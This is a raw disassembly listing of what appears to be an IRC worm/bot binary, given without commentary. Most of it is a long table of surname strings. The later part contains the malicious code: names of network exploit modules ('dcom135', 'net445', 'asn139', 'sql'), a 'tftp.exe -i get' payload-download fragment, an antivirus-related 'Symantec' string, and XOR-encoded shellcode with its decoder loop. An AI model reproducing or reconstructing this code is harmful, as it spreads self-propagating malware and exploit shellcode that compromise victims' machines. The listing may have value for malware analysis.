XREF: .XPack0:00430640o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .XPack0:0043063Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: .XPack0:00430638o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .XPack0:00430634o align 4 aDees db 'Dees',0 ; DATA XREF: .XPack0:00430630o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .XPack0:0043062Co aDerousse db 'deRousse',0 ; DATA XREF: .XPack0:00430628o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .XPack0:00430624o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .XPack0:00430620o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: .XPack0:0043061Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .XPack0:00430618o aDavid db 'David',0 ; DATA XREF: .XPack0:00430614o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .XPack0:00430610o aDasgupta db 'Dasgupta',0 ; DATA XREF: .XPack0:0043060Co align 4 aDas db 'Das',0 ; DATA XREF: .XPack0:00430608o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .XPack0:00430604o aDapice db 'Dapice',0 ; DATA XREF: .XPack0:00430600o align 10h aDante db 'Dante',0 ; DATA XREF: .XPack0:004305FCo align 4 aDanieli db 'Danieli',0 ; DATA XREF: .XPack0:004305F8o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .XPack0:004305F4o aDaly db 'Daly',0 ; DATA XREF: .XPack0:004305F0o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: .XPack0:004305ECo align 4 aDasilva db 'daSilva',0 ; DATA XREF: .XPack0:004305E8o aCyders db 'Cyders',0 ; DATA XREF: .XPack0:004305E4o align 4 aCvek db 'Cvek',0 ; DATA XREF: .XPack0:004305E0o align 4 aCutler db 'Cutler',0 ; DATA XREF: .XPack0:004305DCo align 4 aCurrier db 'Currier',0 ; DATA XREF: .XPack0:004305D8o aCui db 'Cui',0 ; DATA XREF: .XPack0:004305D4o aCroxton db 'Croxton',0 ; DATA XREF: .XPack0:004305D0o aCroxen db 'Croxen',0 ; DATA XREF: .XPack0:004305CCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: .XPack0:004305C8o aCrocker db 'Crocker',0 ; DATA XREF: .XPack0:004305C4o aCrawford db 'Crawford',0 ; DATA XREF: .XPack0:004305C0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .XPack0:004305BCo aCounter db 'Counter',0 ; DATA XREF: .XPack0:004305B8o aCosmides db 'Cosmides',0 ; DATA XREF: .XPack0:004305B4o align 10h aCornish db 'Cornish',0 ; DATA XREF: .XPack0:004305B0o aCorey db 'Corey',0 ; DATA XREF: .XPack0:004305ACo align 10h aConnors db 'Connors',0 ; DATA XREF: .XPack0:004305A8o aCondodina db 'Condodina',0 ; DATA XREF: .XPack0:004305A4o align 4 aConcino db 'Concino',0 ; DATA XREF: .XPack0:004305A0o aComstock db 'Comstock',0 ; DATA XREF: .XPack0:0043059Co align 4 aCompton db 'Compton',0 ; DATA XREF: .XPack0:00430594o ; .XPack0:00430598o aCollis db 'Collis',0 ; DATA XREF: .XPack0:00430590o align 4 aCollard db 'Collard',0 ; DATA XREF: .XPack0:0043058Co aColella db 'Colella',0 ; DATA XREF: .XPack0:00430588o aColdren db 'Coldren',0 ; DATA XREF: .XPack0:00430584o aCoito db 'Coito',0 ; DATA XREF: .XPack0:00430580o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .XPack0:0043057Co aClow db 'Clow',0 ; DATA XREF: .XPack0:00430578o align 4 aClifton db 'Clifton',0 ; DATA XREF: .XPack0:00430574o aClement db 'Clement',0 ; DATA XREF: .XPack0:00430570o aClark db 'Clark',0 ; DATA XREF: .XPack0:0043056Co align 10h aClancy db 'Clancy',0 ; DATA XREF: .XPack0:00430568o align 4 aClaffey db 'Claffey',0 ; DATA XREF: .XPack0:00430564o aCifarelli db 'Cifarelli',0 ; DATA XREF: .XPack0:00430560o align 4 aCicero db 'Cicero',0 ; DATA XREF: .XPack0:0043055Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .XPack0:00430558o align 10h aChurch db 'Church',0 ; DATA XREF: .XPack0:00430554o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: .XPack0:00430550o align 4 aChu db 'Chu',0 ; DATA XREF: .XPack0:0043054Co aChristopher db 'Christopher',0 ; DATA XREF: .XPack0:00430548o aChristie db 'Christie',0 ; DATA XREF: .XPack0:00430544o align 10h aChristiano db 'Christiano',0 ; DATA XREF: .XPack0:00430540o align 4 aChristian db 'Christian',0 ; DATA XREF: .XPack0:0043053Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: .XPack0:00430538o aChinman db 'Chinman',0 ; DATA XREF: .XPack0:00430534o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .XPack0:00430530o aChilds db 'Childs',0 ; DATA XREF: .XPack0:0043052Co align 10h aChildress db 'Childress',0 ; DATA XREF: .XPack0:00430528o align 4 aChien db 'Chien',0 ; DATA XREF: .XPack0:00430524o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .XPack0:00430520o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: .XPack0:0043051Co align 4 aCherry db 'Cherry',0 ; DATA XREF: .XPack0:00430518o align 4 aCheang db 'Cheang',0 ; DATA XREF: .XPack0:00430514o align 4 aCharles db 'Charles',0 ; DATA XREF: .XPack0:00430510o aChapman db 'Chapman',0 ; DATA XREF: .XPack0:0043050Co aCerioli db 'Cerioli',0 ; DATA XREF: .XPack0:00430508o aCeniceros db 'Ceniceros',0 ; DATA XREF: .XPack0:00430504o align 10h aCavell db 'Cavell',0 ; DATA XREF: .XPack0:00430500o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: .XPack0:004304FCo align 4 aCastelda db 'Castelda',0 ; DATA XREF: .XPack0:004304F8o align 10h aCaspar db 'Caspar',0 ; DATA XREF: .XPack0:004304F4o align 4 aCase db 'Case',0 ; DATA XREF: .XPack0:004304F0o align 10h aCascio db 'Cascio',0 ; DATA XREF: .XPack0:004304ECo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: .XPack0:004304E8o align 4 aCarper db 'Carper',0 ; DATA XREF: .XPack0:004304E4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: .XPack0:004304E0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: .XPack0:004304DCo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: .XPack0:004304D8o aCarlos db 'Carlos',0 ; DATA XREF: .XPack0:004304D4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: .XPack0:004304D0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .XPack0:004304CCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .XPack0:004304C8o aCapursi db 'Capursi',0 ; DATA XREF: .XPack0:004304C4o aCappuccio db 'Cappuccio',0 ; DATA XREF: .XPack0:004304C0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: .XPack0:004304BCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .XPack0:004304B8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: .XPack0:004304B4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: .XPack0:004304B0o aCanley db 'Canley',0 ; DATA XREF: .XPack0:004304ACo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .XPack0:004304A8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: .XPack0:004304A4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .XPack0:004304A0o align 4 aCage db 'Cage',0 ; DATA XREF: .XPack0:0043049Co align 4 aByrd db 'Byrd',0 ; DATA XREF: .XPack0:00430498o align 4 aByerly db 'Byerly',0 ; DATA XREF: .XPack0:00430494o align 4 aByatt db 'Byatt',0 ; DATA XREF: .XPack0:00430490o align 4 aBusetta db 'Busetta',0 ; DATA XREF: .XPack0:0043048Co aBurridge db 'Burridge',0 ; DATA XREF: .XPack0:00430488o align 10h aBurke db 'Burke',0 ; DATA XREF: .XPack0:00430484o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .XPack0:00430480o align 10h aBurden db 'Burden',0 ; DATA XREF: .XPack0:0043047Co align 4 aBunton db 'Bunton',0 ; DATA XREF: .XPack0:00430478o align 10h aBullard db 'Bullard',0 ; DATA XREF: .XPack0:00430474o aBudding db 'Budding',0 ; DATA XREF: .XPack0:00430470o aBuchan db 'Buchan',0 ; DATA XREF: .XPack0:0043046Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .XPack0:00430468o aBrook db 'Brook',0 ; DATA XREF: .XPack0:00430464o align 4 aBroca db 'Broca',0 ; DATA XREF: .XPack0:00430460o align 10h aBritz db 'Britz',0 ; DATA XREF: .XPack0:0043045Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: .XPack0:00430458o aBridges db 'Bridges',0 ; DATA XREF: .XPack0:00430454o aBridgeman db 'Bridgeman',0 ; DATA XREF: .XPack0:00430450o align 4 aBrewer db 'Brewer',0 ; DATA XREF: .XPack0:00430448o ; .XPack0:0043044Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: .XPack0:00430444o aBrenan db 'Brenan',0 ; DATA XREF: .XPack0:00430440o align 4 aBreed db 'Breed',0 ; DATA XREF: .XPack0:0043043Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: .XPack0:00430438o align 4 aBradach db 'Bradach',0 ; DATA XREF: .XPack0:00430434o aBradac db 'Bradac',0 ; DATA XREF: .XPack0:00430430o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .XPack0:0043042Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: .XPack0:00430428o align 10h aBoym db 'Boym',0 ; DATA XREF: .XPack0:00430424o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .XPack0:00430420o aBoyes db 'Boyes',0 ; DATA XREF: .XPack0:0043041Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .XPack0:00430418o align 4 aBoxer db 'Boxer',0 ; DATA XREF: .XPack0:00430414o align 4 aBowers db 'Bowers',0 ; DATA XREF: .XPack0:00430410o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: .XPack0:0043040Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: .XPack0:00430408o aBoudin db 'Boudin',0 ; DATA XREF: .XPack0:00430404o align 10h aBotosh db 'Botosh',0 ; DATA XREF: .XPack0:00430400o align 4 aBothman db 'Bothman',0 ; DATA XREF: .XPack0:004303FCo aBossi db 'Bossi',0 ; DATA XREF: .XPack0:004303F8o align 4 aBorden db 'Borden',0 ; DATA XREF: .XPack0:004303F4o align 10h aBorack db 'Borack',0 ; DATA XREF: .XPack0:004303F0o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .XPack0:004303ECo align 4 aBoone db 'Boone',0 ; DATA XREF: .XPack0:004303E8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .XPack0:004303E4o align 4 aBook db 'Book',0 ; DATA XREF: .XPack0:004303E0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: .XPack0:004303DCo align 4 aBoniface db 'Boniface',0 ; DATA XREF: .XPack0:004303D8o align 4 aBonham db 'Bonham',0 ; DATA XREF: .XPack0:004303D4o align 10h aBoner db 'Boner',0 ; DATA XREF: .XPack0:004303D0o align 4 aBologna db 'Bologna',0 ; DATA XREF: .XPack0:004303CCo aBollinger db 'Bollinger',0 ; DATA XREF: .XPack0:004303C8o align 4 aBolick db 'Bolick',0 ; DATA XREF: .XPack0:004303C4o align 4 aBolger db 'Bolger',0 ; DATA XREF: .XPack0:004303C0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: .XPack0:004303BCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .XPack0:004303B8o aBloemhof db 'Bloemhof',0 ; DATA XREF: .XPack0:004303B4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .XPack0:004303B0o aBloch db 'Bloch',0 ; DATA XREF: .XPack0:004303ACo align 4 aBlizard db 'Blizard',0 ; DATA XREF: .XPack0:004303A8o aBliss db 'Bliss',0 ; DATA XREF: .XPack0:004303A4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: .XPack0:004303A0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .XPack0:0043039Co align 10h aBlagg db 'Blagg',0 ; DATA XREF: .XPack0:00430398o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .XPack0:00430394o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .XPack0:00430390o align 10h aBisho db 'Bisho',0 ; DATA XREF: .XPack0:0043038Co align 4 aBisema db 'Bisema',0 ; DATA XREF: .XPack0:00430388o align 10h aBir db 'Bir',0 ; DATA XREF: .XPack0:00430384o aBinion db 'Binion',0 ; DATA XREF: .XPack0:00430380o align 4 aBickel db 'Bickel',0 ; DATA XREF: .XPack0:0043037Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .XPack0:00430378o align 10h aBeynart db 'Beynart',0 ; DATA XREF: .XPack0:00430374o aBetti db 'Betti',0 ; DATA XREF: .XPack0:00430370o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .XPack0:0043036Co align 10h aBernston db 'Bernston',0 ; DATA XREF: .XPack0:00430368o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .XPack0:00430364o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .XPack0:00430360o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .XPack0:0043035Co align 4 aBergson db 'Bergson',0 ; DATA XREF: .XPack0:00430358o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .XPack0:00430354o align 4 aBelloc db 'Belloc',0 ; DATA XREF: .XPack0:00430350o align 4 aBellini db 'Bellini',0 ; DATA XREF: .XPack0:0043034Co aBellhouse db 'Bellhouse',0 ; DATA XREF: .XPack0:00430348o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .XPack0:00430344o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .XPack0:00430340o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .XPack0:0043033Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .XPack0:00430338o align 4 aBelanger db 'Belanger',0 ; DATA XREF: .XPack0:00430334o align 4 aBehenna db 'Behenna',0 ; DATA XREF: .XPack0:00430330o aBedford db 'Bedford',0 ; DATA XREF: .XPack0:0043032Co aBeder db 'Beder',0 ; DATA XREF: .XPack0:00430328o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .XPack0:00430324o aBean db 'Bean',0 ; DATA XREF: .XPack0:00430320o align 4 aBeal db 'Beal',0 ; DATA XREF: .XPack0:0043031Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: .XPack0:00430318o align 4 aBayo db 'Bayo',0 ; DATA XREF: .XPack0:00430314o align 4 aBayles db 'Bayles',0 ; DATA XREF: .XPack0:00430310o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .XPack0:0043030Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .XPack0:00430308o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .XPack0:00430304o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: .XPack0:00430300o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .XPack0:004302FCo align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .XPack0:004302F8o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: .XPack0:004302F4o aBarry db 'Barry',0 ; DATA XREF: .XPack0:004302F0o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .XPack0:004302ECo align 10h aBarnett db 'Barnett',0 ; DATA XREF: .XPack0:004302E8o aBarneson db 'Barneson',0 ; DATA XREF: .XPack0:004302E4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .XPack0:004302E0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: .XPack0:004302DCo aBaranowska db 'Baranowska',0 ; DATA XREF: .XPack0:004302D8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .XPack0:004302D4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: .XPack0:004302D0o aBarabesi db 'Barabesi',0 ; DATA XREF: .XPack0:004302CCo align 4 aBanta db 'Banta',0 ; DATA XREF: .XPack0:004302C8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .XPack0:004302C4o align 4 aBallew db 'Ballew',0 ; DATA XREF: .XPack0:004302C0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .XPack0:004302BCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: .XPack0:004302B8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .XPack0:004302B4o align 4 aBailar db 'Bailar',0 ; DATA XREF: .XPack0:004302B0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .XPack0:004302ACo aBaglivo db 'Baglivo',0 ; DATA XREF: .XPack0:004302A8o aBady db 'Bady',0 ; DATA XREF: .XPack0:004302A4o align 4 aBackus db 'Backus',0 ; DATA XREF: .XPack0:004302A0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .XPack0:0043029Co align 10h aAzima db 'Azima',0 ; DATA XREF: .XPack0:00430298o align 4 aAyling db 'Ayling',0 ; DATA XREF: .XPack0:00430294o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: .XPack0:00430290o aAyiemba db 'Ayiemba',0 ; DATA XREF: .XPack0:0043028Co aAxworthy db 'Axworthy',0 ; DATA XREF: .XPack0:00430288o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .XPack0:00430284o aAurelius db 'Aurelius',0 ; DATA XREF: .XPack0:00430280o align 10h aAugustus db 'Augustus',0 ; DATA XREF: .XPack0:0043027Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: .XPack0:00430278o align 4 aArky db 'Arky',0 ; DATA XREF: .XPack0:00430274o align 4 aArjas db 'Arjas',0 ; DATA XREF: .XPack0:00430270o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .XPack0:0043026Co align 10h aArellano db 'Arellano',0 ; DATA XREF: .XPack0:00430268o align 4 aArduini db 'Arduini',0 ; DATA XREF: .XPack0:00430264o aArbia db 'Arbia',0 ; DATA XREF: .XPack0:00430260o align 4 aAntos db 'Antos',0 ; DATA XREF: .XPack0:0043025Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: .XPack0:00430258o aAnsley db 'Ansley',0 ; DATA XREF: .XPack0:00430254o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .XPack0:00430250o align 10h aAndron db 'Andron',0 ; DATA XREF: .XPack0:0043024Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .XPack0:00430248o align 4 aAndo db 'Ando',0 ; DATA XREF: .XPack0:00430244o align 4 aAndel db 'Andel',0 ; DATA XREF: .XPack0:00430240o align 4 aAnand db 'Anand',0 ; DATA XREF: .XPack0:0043023Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: .XPack0:00430238o align 4 aAmeer db 'Ameer',0 ; DATA XREF: .XPack0:00430234o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .XPack0:00430230o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .XPack0:0043022Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: .XPack0:00430228o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .XPack0:00430224o aAltavilla db 'Altavilla',0 ; DATA XREF: .XPack0:00430220o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .XPack0:0043021Co align 4 aAllison db 'Allison',0 ; DATA XREF: .XPack0:00430218o aAleks db 'Aleks',0 ; DATA XREF: .XPack0:00430214o align 4 aAlda db 'Alda',0 ; DATA XREF: .XPack0:00430210o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .XPack0:0043020Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: .XPack0:00430208o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .XPack0:00430204o align 4 aAdorno db 'Adorno',0 ; DATA XREF: .XPack0:00430200o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .XPack0:004301FCo align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: .XPack0:004301F8o align 4 aAddison db 'Addison',0 ; DATA XREF: .XPack0:004301F4o aAdams db 'Adams',0 ; DATA XREF: .XPack0:004301F0o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .XPack0:004301ECo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .XPack0:off_4301E8o align 10h aPc db 'PC',0 ; DATA XREF: .XPack0:0040AAB2o align 4 aS_3 db '%s|',0 ; DATA XREF: .XPack0:0040AB33o aS_4 db '[%s]|',0 ; DATA XREF: .XPack0:0040AC3Do align 10h a??? db '???',0 ; DATA XREF: .XPack0:loc_40AC34o ; sub_41B0A1:loc_41B164o a2k3 db '2K3',0 ; DATA XREF: .XPack0:0040AC2Do aXp_0 db 'XP',0 ; DATA XREF: .XPack0:0040AC1Fo ; .XPack0:0040AE29o ... align 4 a2k db '2K',0 ; DATA XREF: .XPack0:0040AC0Fo ; .XPack0:0040AE19o ... align 10h aMe_0 db 'ME',0 ; DATA XREF: .XPack0:0040ABF6o ; .XPack0:0040AE00o ... align 4 a98 db '98',0 ; DATA XREF: .XPack0:0040ABE6o ; .XPack0:0040ADF0o ... align 4 aNt_0 db 'NT',0 ; DATA XREF: .XPack0:0040ABD6o ; .XPack0:0040ADE1o ... align 4 a95 db '95',0 ; DATA XREF: .XPack0:0040ABC8o ; .XPack0:0040ADD3o ... align 10h aDS db '[%d]%s',0 ; DATA XREF: sub_40AC83+3Ao align 4 aM_0 db '[M]',0 ; DATA XREF: sub_40AC83+2Co ; sub_40AC83+51o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AC83+18o ; sub_41889C+5o align 4 aSSSS db '[%s]%s|%s|%s|',0 ; DATA XREF: .XPack0:0040AF76o align 4 a99 db '99',0 ; DATA XREF: .XPack0:loc_40AF38o align 4 a0D db '0%d',0 ; DATA XREF: .XPack0:0040AF12o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .XPack0:0040AEF4o ; sub_41AF01+39o off_433EA8 dd offset byte_4B4E55 ; DATA XREF: .XPack0:0040AED7o dword_433EAC dd 345053h dword_433EB0 dd 34h dword_433EB4 dd 335053h dword_433EB8 dd 33h dword_433EBC dd 325053h dword_433EC0 dd 32h ; =============== S U B R O U T I N E ======================================= sub_433EC4 proc near ; DATA XREF: .XPack0:0040AE78o push ebx push eax xor [eax], eax sub_433EC4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_433EC8 dd 305053h dword_433ECC dd 4E55h dword_433ED0 dd 3332h, 0 ; --------------------------------------------------------------------------- loc_433ED8: ; DATA XREF: sub_40B153+BEo jmp short loc_433EDC ; --------------------------------------------------------------------------- loc_433EDA: ; CODE XREF: .XPack0:loc_433EDCp jmp short loc_433EE1 ; --------------------------------------------------------------------------- loc_433EDC: ; CODE XREF: .XPack0:loc_433ED8j call loc_433EDA loc_433EE1: ; CODE XREF: .XPack0:loc_433EDAj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_433EE6 dw 0FFFFh ; DATA XREF: sub_40B153+C6w db 80h, 73h, 0Eh byte_433EEB db 0FFh ; DATA XREF: sub_40B153+CDw dd 0F9E243h ; --------------------------------------------------------------------------- loc_433EF0: ; DATA XREF: sub_40B153+9Co jmp short loc_433EF4 ; --------------------------------------------------------------------------- loc_433EF2: ; CODE XREF: .XPack0:loc_433EF4p jmp short loc_433EF9 ; --------------------------------------------------------------------------- loc_433EF4: ; CODE XREF: .XPack0:loc_433EF0j call loc_433EF2 loc_433EF9: ; CODE XREF: .XPack0:loc_433EF2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_433EFD db 0FFh ; DATA XREF: sub_40B153+A4w dw 7380h db 0Ch byte_433F01 db 0FFh ; DATA XREF: sub_40B153+AAw dw 0E243h dd 0F9h dword_433F08 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40AFDC+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_433F6C dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40AFDC+79o aJ_0 db 'j',0 db 0E8h dword_433F85 dd 17h ; --------------------------------------------------------------------------- jnz short near ptr byte_433F8C retn ; --------------------------------------------------------------------------- byte_433F8C db 0E8h ; CODE XREF: .XPack0:00433F89j dword_433F8D dd 1 byte_433F91 db 0, 6Ah, 0 ; DATA XREF: sub_40AFDC+C2o dd 7E8h db 0, 0Fh, 84h dword_433F9B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dword_433FCC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h ; DATA XREF: sub_40B311+10o dd 64026165h, 26C0220h, 2730269h, 200274h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B4DC+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B4DC+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40B9E3+4Fo ; sub_40C271+155o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B91D+30o ; .XPack0:0040E11Co ... align 4 dd 5 dup(0) dword_434058 dd 0B97h ; sub_401AA1+1D20o ... off_43405C dd offset sub_40F0D3 ; DATA XREF: sub_40C271+1D7r dword_434060 dd 0 ; .XPack0:0040D657r ... dword_434064 dd 1 dword_434068 dd 1 dword_43406C dd 0 aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DE3Fh, 0 dd 1, 2 dup(0) aNet445 db 'net445',0 align 4 dd 656E0000h, 34342D74h, 35h, 5 dup(0) dd 1BDh, 40EF95h, 0 dd 1, 2 dup(0) aNet139 db 'net139',0 align 4 dd 656E0000h, 33312D74h, 39h, 5 dup(0) dd 8Bh, 40EF95h, 0 dd 1, 2 dup(0) aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D49Bh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D49Bh, 0 dd 2 dup(1), 0 dd 6C7173h, 0 dd 71730000h, 34312D6Ch, 3333h, 5 dup(0) dd 599h, 40E181h, 0 dd 1, 3 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_43423A db 1 ; DATA XREF: sub_401AA1:loc_403713r ; sub_401AA1+1C7Co aDcom135_0 db 'dcom135',0 align 4 dd 71730100h, 6Ch, 0 dd 1, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_434272 ; =============== S U B R O U T I N E ======================================= sub_434262 proc near ; CODE XREF: sub_434262:loc_434272p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43426A: ; CODE XREF: sub_434262+Cj xor byte ptr [edx+ecx], 99h loop loc_43426A jmp short loc_434277 ; --------------------------------------------------------------------------- loc_434272: ; CODE XREF: .XPack0:00434260j call sub_434262 loc_434277: ; CODE XREF: sub_434262+Ej jo short near ptr dword_4341F4+1Eh cwde cdq cdq retn sub_434262 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 